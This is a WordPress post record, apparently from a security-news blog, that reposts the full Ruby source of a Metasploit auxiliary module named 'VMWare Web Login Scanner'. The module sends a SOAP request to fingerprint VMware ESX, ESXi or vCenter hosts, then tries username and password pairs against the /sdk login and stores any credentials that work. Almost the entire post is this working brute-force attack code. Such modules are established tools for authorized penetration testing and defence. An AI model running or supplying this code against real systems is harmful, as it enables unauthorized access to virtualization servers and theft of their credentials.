{"id":59318,"date":"2024-09-01T01:50:21","date_gmt":"2024-08-31T22:50:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180929\/vmware_http_login.rb.txt"},"modified":"2024-09-01T01:50:21","modified_gmt":"2024-08-31T22:50:21","slug":"vmware-web-login-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vmware-web-login-scanner\/","title":{"rendered":"VMWare Web Login Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::VIMSoap<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::AuthBrute<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;VMWare Web Login Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; &#8216;This module attempts to authenticate to the VMWare HTTP service<br \/>for VmWare Server, ESX, and ESXI&#8217;,<br \/>&#8216;Author&#8217; =&gt; [&#8216;theLightCosine&#8217;],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;1999-0502&#8217;] # Weak password<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;SSL&#8217; =&gt; true }<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;URI&#8217;, [true, &#8220;The default URI to login with&#8221;, &#8220;\/sdk&#8221;]),<br \/>Opt::RPORT(443)<br \/>])<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: &#8216;vmware&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: DateTime.now,<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>return unless is_vmware?<br \/>each_user_pass { |user, pass|<br \/>result = vim_do_login(user, pass)<br \/>case result<br \/>when :success<br \/>print_good &#8220;#{rhost}:#{rport} &#8211; Successful Login! (#{user}:#{pass})&#8221;<br \/>report_cred(ip: rhost, port: rport, user: user, password: pass, proof: result)<br \/>return if datastore[&#8216;STOP_ON_SUCCESS&#8217;]when :fail<br \/>print_error &#8220;#{rhost}:#{rport} &#8211; Login Failure (#{user}:#{pass})&#8221;<br \/>end<br \/>}<br \/>end<\/p>\n<p># Mostly taken from the Apache Tomcat service validator<br \/>def is_vmware?<br \/>soap_data =<br \/>%Q|&lt;env:Envelope xmlns:xsd=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema&#8221; xmlns:env=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221; xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221;&gt;<br \/>&lt;env:Body&gt;<br \/>&lt;RetrieveServiceContent xmlns=&#8221;urn:vim25&#8243;&gt;<br \/>&lt;_this type=&#8221;ServiceInstance&#8221;&gt;ServiceInstance&lt;\/_this&gt;<br \/>&lt;\/RetrieveServiceContent&gt;<br \/>&lt;\/env:Body&gt;<br \/>&lt;\/env:Envelope&gt;|<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;URI&#8217;]),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;agent&#8217; =&gt; &#8216;VMware VI Client&#8217;,<br \/>&#8216;data&#8217; =&gt; soap_data<br \/>}, 25)<\/p>\n<p>unless res<br \/>vprint_error(&#8220;#{rhost}:#{rport} Error: no response&#8221;)<br \/>return false<br \/>end<\/p>\n<p>fingerprint_vmware(res)<br \/>rescue ::Rex::ConnectionError =&gt; e<br \/>vprint_error(&#8220;#{rhost}:#{rport} Error: could not connect&#8221;)<br \/>return false<br \/>rescue =&gt; e<br \/>vprint_error(&#8220;#{rhost}:#{rport} Error: #{e}&#8221;)<br \/>return false<br \/>end<\/p>\n<p>def fingerprint_vmware(res)<br \/>unless res<br \/>vprint_error(&#8220;#{rhost}:#{rport} Error: no response&#8221;)<br \/>return false<br \/>end<br \/>return false unless res.body.include?(&#8216;&lt;vendor&gt;VMware, Inc.&lt;\/vendor&gt;&#8217;)<\/p>\n<p>os_match = res.body.match(\/&lt;name&gt;([\\w\\s]+)&lt;\\\/name&gt;\/)<br \/>ver_match = res.body.match(\/&lt;version&gt;([\\w\\s\\.]+)&lt;\\\/version&gt;\/)<br \/>build_match = res.body.match(\/&lt;build&gt;([\\w\\s\\.\\-]+)&lt;\\\/build&gt;\/)<br \/>full_match = res.body.match(\/&lt;fullName&gt;([\\w\\s\\.\\-]+)&lt;\\\/fullName&gt;\/)<\/p>\n<p>if full_match<br \/>print_good &#8220;#{rhost}:#{rport} &#8211; Identified #{full_match[1]}&#8221;<br \/>report_service(:host =&gt; rhost, :port =&gt; rport, :proto =&gt; &#8216;tcp&#8217;, :sname =&gt; &#8216;https&#8217;, :info =&gt; full_match[1])<br \/>end<\/p>\n<p>unless os_match and ver_match and build_match<br \/>vprint_error(&#8220;#{rhost}:#{rport} Error: Could not identify host as VMWare&#8221;)<br \/>return false<br \/>end<\/p>\n<p>if os_match[1].include?(&#8216;ESX&#8217;) || os_match[1].include?(&#8216;vCenter&#8217;)<br \/># Report a fingerprint match for OS identification<br \/>report_note(<br \/>:host =&gt; rhost,<br \/>:ntype =&gt; &#8216;fingerprint.match&#8217;,<br \/>:data =&gt; {&#8216;os.vendor&#8217; =&gt; &#8216;VMware&#8217;, &#8216;os.product&#8217; =&gt; os_match[1] + &#8221; &#8221; + ver_match[1], &#8216;os.version&#8217; =&gt; build_match[1] }<br \/>)<br \/>return true<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::VIMSoapinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::AuthBruteinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;VMWare Web Login Scanner&#8217;,&#8216;Description&#8217; =&gt; &#8216;This module attempts to authenticate to the VMWare HTTP servicefor VmWare Server, ESX, and ESXI&#8217;,&#8216;Author&#8217; =&gt; [&#8216;theLightCosine&#8217;],&#8216;References&#8217; =&gt;[[ &#8216;CVE&#8217;, &#8216;1999-0502&#8217;] # Weak password],&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;DefaultOptions&#8217; =&gt; { &#8216;SSL&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59318","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59318","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59318"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59318\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59318"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59318"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59318"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}